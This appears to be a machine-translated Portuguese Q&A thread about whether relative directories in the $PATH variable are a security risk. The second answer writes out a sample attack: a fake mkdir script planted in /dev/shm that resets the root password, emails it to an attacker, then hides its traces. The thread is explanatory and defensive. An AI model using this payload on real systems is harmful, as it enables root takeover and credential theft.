Implicações de segurança do uso de caminhos relativos na variável enunciativa PATH?

5

Tivemos uma auditoria apenas sinalizando para ter caminhos relativos dentro da variável $PATH env. Não tenho certeza se isso é realmente uma preocupação de segurança e gostaria de falar com todos para ver se isso é realmente uma preocupação de segurança ou se é apenas uma coisa práticas recomendadas como eu diria. Alguém pode fornecer informações sobre quaisquer preocupações de segurança de usar $PATH com parentes? Obrigado

    
por ehime 11.05.2016 / 19:21

2 respostas

3

O problema em ter um caminho relativo em $ PATH é que, se um invasor puder criar um arquivo com um determinado nome em seu sistema de arquivos, você corre o risco de executar esse arquivo.

Exemplo: df ou monitoramento diz que / var está cheio, du diz que é /var/spool/ftp/uploads , o que você faz?

cd /var/spool/ftp/uploads
ls -ltr

e você é de propriedade. Você nem vê ls na saída, então você nunca saberá.

Substitua uploads de ftp por algum diretório de dados de algum site de cliente, ou o diretório / tmp de uma máquina compartilhada, ou muitas outras coisas.

É verdade que isso não acontece com frequência, mas o risco existe e escrever ./script em vez de script é fácil.

    
por 11.05.2016 / 20:22
7

Existem dois problemas com o caminho que você está usando.

  1. O caminho é relativo.
  2. O caminho relativo vem antes dos caminhos principais.

Vamos supor que você tenha o seguinte script de shell que você usa como root para atualizar algum aplicativo da web e tenha definido o $PATH sendo usado em /etc/profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

Para um invasor, você está fornecendo um meio de executar algo no shell que é controlado pelo invasor. Uma forma de ataque ficaria assim: onde estou tentando subverter o controle da chamada mkdir no script vulnerável.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Depois, espero que você atualize sua webapp.

Agora, o que acontece é que o script vulnerável muda para /dev/shm . Quando ele faz isso e executa mkdir ele encontra o programa apps/java/bin/mkdir primeiro, que neste caso redefine a senha de root, envia um email para o invasor da nova senha root, na verdade chama o% realmkdir (para ocultar o fato realmente aconteceu) e se remove do caminho de ataque.

Como root, você não tem nenhuma ideia do que aconteceu e a evidência é apagada assim que a carga útil for entregue.

    
por 11.05.2016 / 20:49